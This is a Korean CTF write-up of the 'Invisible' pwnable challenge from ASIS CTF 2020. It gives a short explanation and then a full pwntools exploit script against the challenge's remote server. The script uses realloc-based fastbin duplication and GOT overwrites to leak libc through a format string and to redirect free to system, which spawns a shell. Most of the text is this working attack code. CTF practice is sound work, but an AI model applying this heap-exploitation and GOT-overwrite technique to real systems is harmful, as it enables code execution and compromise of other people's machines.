본문 바로가기

카테고리 없음

asisCTF2020 Invisible Write up

포너블 쉬운문제 말고 솔버 30이하 문제들만 다룰려고 한다.

이 두문제도 풀고싶지만 아직 실력이 안되서 못풀었다.

특히 사파리 문제는 브라우저 익스플로잇인거같은데 나중에 꼭 풀어보고싶다.

일단은 invisible이랑 tthttpd문제를 다룰려고 한다.

그냥 솔버 적어서 하는거다.

 

일단 realloc이 존재하고 free가 존재하는데 realloc으로 free가 가능하다.

이걸로 fastbin dup이 가능한데 이걸로 got_overwrite를 해서 free를 printf로 바꿔준다.

 

그 다음 Leak을 진행해서 다시 fastbin dup으로 system을 Leak 해준 다음에 다시 GOt_overwrite를 해주면 풀리는 문제이다

 

pwnable.tw realloc을 풀어봤으면 쉽게 풀리는 문제다

#!/usr/bin/env python
#-*- coding: utf-8 -*-

from pwn import *

#p = process("./chall")
p = remote("69.172.229.147", 9003)
binf = ELF("./chall")
libc = binf.libc

addr_fakechunk = 0x601ffa
addr_fakechunk2 = 0x602022-0x10

#context.log_level = "DEBUG"

def alloc(idx, size, buf):
	p.sendlineafter("> ", str(1))
	p.sendlineafter("index: ", str(idx))
	p.sendlineafter("size: ", str(size))
	p.sendafter("data: ", buf)

def realloc(idx, size, buf):
	p.sendlineafter("> ", str(2))
	p.sendlineafter("index: ", str(idx))
	p.sendlineafter("size: ", str(size))
	if size == 0:
        	p.recvuntil("[-] edit: error")
        	return
	p.sendlineafter("data: ", buf)

def free(idx):
	p.sendlineafter("> ", str(3))
	p.sendlineafter("index: ", str(idx))

alloc(0, 80, "A"*0x19)                    #idx0
realloc(0, 0, "B"*0x60)                     #idx0 => free
realloc(0, 80, p64(addr_fakechunk))    #idx0(free) -> overwrite 
alloc(1, 80, "BBBB")
realloc(1, 0x30, "BBBB")
free(1)

alloc(1, 80, "A"*(6+8) + p32(binf.plt['printf']) + "\x00\x00\x00")
free(0)
alloc(0, 40, "%11$p")

free(0)
libc_leak = int(p.recv(14), 0) - 240 - 0x20740
libc_system = libc_leak + libc.symbols['system']
success(hex(libc_leak))

free(1)


alloc(0, 0x30, "A"*0x19)                    #idx0
realloc(0, 0, "B"*0x60)                     #idx0 => free
realloc(0, 0x30, p64(addr_fakechunk2))    #idx0(free) -> overwrite 
alloc(1, 0x30, "BBBB")
free(1)
alloc(1, 0x30, "/bin/sh\x00" + "A"*(14-8) + p64(libc_system))

p.interactive()